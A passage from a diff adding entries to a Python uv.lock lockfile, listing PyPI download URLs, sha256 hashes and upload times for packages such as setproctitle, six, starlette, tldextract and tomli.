13243, upload-time = "2025-09-05T12:50:14.146Z" }, + { url = "https://files.pythonhosted.org/packages/89/c7/43ac3a98414f91d1b86a276bc2f799ad0b4b010e08497a95750d5bc42803/setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63", size = 18052, upload-time = "2025-09-05T12:50:17.928Z" }, + { url = "https://files.pythonhosted.org/packages/cd/2c/dc258600a25e1a1f04948073826bebc55e18dbd99dc65a576277a82146fa/setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e", size = 13071, upload-time = "2025-09-05T12:50:19.061Z" }, + { url = "https://files.pythonhosted.org/packages/ab/26/8e3bb082992f19823d831f3d62a89409deb6092e72fc6940962983ffc94f/setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f", size = 33180, upload-time = "2025-09-05T12:50:20.395Z" }, + { url = "https://files.pythonhosted.org/packages/f1/af/ae692a20276d1159dd0cf77b0bcf92cbb954b965655eb4a69672099bb214/setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5", size = 34043, upload-time = "2025-09-05T12:50:22.454Z" }, + { url = "https://files.pythonhosted.org/packages/34/b2/6a092076324dd4dac1a6d38482bedebbff5cf34ef29f58585ec76e47bc9d/setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17", size = 35892, upload-time = "2025-09-05T12:50:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/1c/1a/8836b9f28cee32859ac36c3df85aa03e1ff4598d23ea17ca2e96b5845a8f/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e", size = 32898, upload-time = "2025-09-05T12:50:25.617Z" }, + { url = "https://files.pythonhosted.org/packages/ef/22/8fabdc24baf42defb599714799d8445fe3ae987ec425a26ec8e80ea38f8e/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0", size = 34308, upload-time = "2025-09-05T12:50:26.827Z" }, + { url = "https://files.pythonhosted.org/packages/15/1b/b9bee9de6c8cdcb3b3a6cb0b3e773afdb86bbbc1665a3bfa424a4294fda2/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8", size = 32536, upload-time = "2025-09-05T12:50:28.5Z" }, + { url = "https://files.pythonhosted.org/packages/37/0c/75e5f2685a5e3eda0b39a8b158d6d8895d6daf3ba86dec9e3ba021510272/setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed", size = 12731, upload-time = "2025-09-05T12:50:43.955Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/acddbce90d1361e1786e1fb421bc25baeb0c22ef244ee5d0176511769ec8/setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416", size = 13464, upload-time = "2025-09-05T12:50:45.057Z" }, + { url = "https://files.pythonhosted.org/packages/01/6d/20886c8ff2e6d85e3cabadab6aab9bb90acaf1a5cfcb04d633f8d61b2626/setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3", size = 18062, upload-time = "2025-09-05T12:50:29.78Z" }, + { url = "https://files.pythonhosted.org/packages/9a/60/26dfc5f198715f1343b95c2f7a1c16ae9ffa45bd89ffd45a60ed258d24ea/setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309", size = 13075, upload-time = "2025-09-05T12:50:31.604Z" }, + { url = "https://files.pythonhosted.org/packages/21/9c/980b01f50d51345dd513047e3ba9e96468134b9181319093e61db1c47188/setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b", size = 34744, upload-time = "2025-09-05T12:50:32.777Z" }, + { url = "https://files.pythonhosted.org/packages/86/b4/82cd0c86e6d1c4538e1a7eb908c7517721513b801dff4ba3f98ef816a240/setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45", size = 35589, upload-time = "2025-09-05T12:50:34.13Z" }, + { url = "https://files.pythonhosted.org/packages/8a/4f/9f6b2a7417fd45673037554021c888b31247f7594ff4bd2239918c5cd6d0/setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4", size = 37698, upload-time = "2025-09-05T12:50:35.524Z" }, + { url = "https://files.pythonhosted.org/packages/20/92/927b7d4744aac214d149c892cb5fa6dc6f49cfa040cb2b0a844acd63dcaf/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1", size = 34201, upload-time = "2025-09-05T12:50:36.697Z" }, + { url = "https://files.pythonhosted.org/packages/0a/0c/fd4901db5ba4b9d9013e62f61d9c18d52290497f956745cd3e91b0d80f90/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070", size = 35801, upload-time = "2025-09-05T12:50:38.314Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e3/54b496ac724e60e61cc3447f02690105901ca6d90da0377dffe49ff99fc7/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73", size = 33958, upload-time = "2025-09-05T12:50:39.841Z" }, + { url = "https://files.pythonhosted.org/packages/ea/a8/c84bb045ebf8c6fdc7f7532319e86f8380d14bbd3084e6348df56bdfe6fd/setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2", size = 12745, upload-time = "2025-09-05T12:50:41.377Z" }, + { url = "https://files.pythonhosted.org/packages/08/b6/3a5a4f9952972791a9114ac01dfc123f0df79903577a3e0a7a404a695586/setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a", size = 13469, upload-time = "2025-09-05T12:50:42.67Z" }, + { url = "https://files.pythonhosted.org/packages/34/8a/aff5506ce89bc3168cb492b18ba45573158d528184e8a9759a05a09088a9/setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6", size = 12654, upload-time = "2025-09-05T12:51:17.141Z" }, + { url = "https://files.pythonhosted.org/packages/41/89/5b6f2faedd6ced3d3c085a5efbd91380fb1f61f4c12bc42acad37932f4e9/setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2", size = 14284, upload-time = "2025-09-05T12:51:18.393Z" }, + { url = "https://files.pythonhosted.org/packages/0a/c0/4312fed3ca393a29589603fd48f17937b4ed0638b923bac75a728382e730/setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78", size = 13282, upload-time = "2025-09-05T12:51:19.703Z" }, + { url = "https://files.pythonhosted.org/packages/c3/5b/5e1c117ac84e3cefcf8d7a7f6b2461795a87e20869da065a5c087149060b/setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1", size = 12587, upload-time = "2025-09-05T12:51:21.195Z" }, + { url = "https://files.pythonhosted.org/packages/73/02/b9eadc226195dcfa90eed37afe56b5dd6fa2f0e5220ab8b7867b8862b926/setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65", size = 14286, upload-time = "2025-09-05T12:51:22.61Z" }, + { url = "https://files.pythonhosted.org/packages/28/26/1be1d2a53c2a91ec48fa2ff4a409b395f836798adf194d99de9c059419ea/setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a", size = 13282, upload-time = "2025-09-05T12:51:24.094Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "socksio" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/5c/48a7d9495be3d1c651198fd99dbb6ce190e2274d0f28b9051307bdec6b85/socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac", size = 19055, upload-time = "2020-04-17T15:50:34.664Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/c3/6eeb6034408dac0fa653d126c9204ade96b819c936e136c5e8a6897eee9c/socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3", size = 12763, upload-time = "2020-04-17T15:50:31.878Z" }, +] + +[[package]] +name = "soupsieve" +version = "2.8.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/ae/2d9c981590ed9999a0d91755b47fc74f74de286b0f5cee14c9269041e6c4/soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349", size = 118627, upload-time = "2026-01-20T04:27:02.457Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/2c/1462b1d0a634697ae9e55b3cecdcb64788e8b7d63f54d923fcd0bb140aed/soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95", size = 37016, upload-time = "2026-01-20T04:27:01.012Z" }, +] + +[[package]] +name = "starlette" +version = "0.52.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/68/79977123bb7be889ad680d79a40f339082c1978b5cfcf62c2d8d196873ac/starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933", size = 2653702, upload-time = "2026-01-18T13:34:11.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/0d/13d1d239a25cbfb19e740db83143e95c772a1fe10202dda4b76792b114dd/starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74", size = 74272, upload-time = "2026-01-18T13:34:09.188Z" }, +] + +[[package]] +name = "tabulate" +version = "0.8.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7a/53/afac341569b3fd558bf2b5428e925e2eb8753ad9627c1f9188104c6e0c4a/tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519", size = 60154, upload-time = "2022-06-21T16:26:42.76Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/4e/e5a13fdb3e6f81ce11893523ff289870c87c8f1f289a7369fb0e9840c3bb/tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc", size = 29068, upload-time = "2022-06-21T16:26:37.943Z" }, +] + +[[package]] +name = "tldextract" +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "idna" }, + { name = "requests" }, + { name = "requests-file" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/7b/644fbbb49564a6cb124a8582013315a41148dba2f72209bba14a84242bf0/tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb", size = 126105, upload-time = "2025-12-28T23:58:05.532Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/42/0e49d6d0aac449ca71952ec5bae764af009754fcb2e76a5cc097543747b3/tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9", size = 105886, upload-time = "2025-12-28T23:58:04.071Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" }, + { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" }, + { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" }, + { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" }, + { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" }, + { url = "https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" }, + { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" }, + { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" }, + { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" }, + { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" }, + { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" }, + { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = 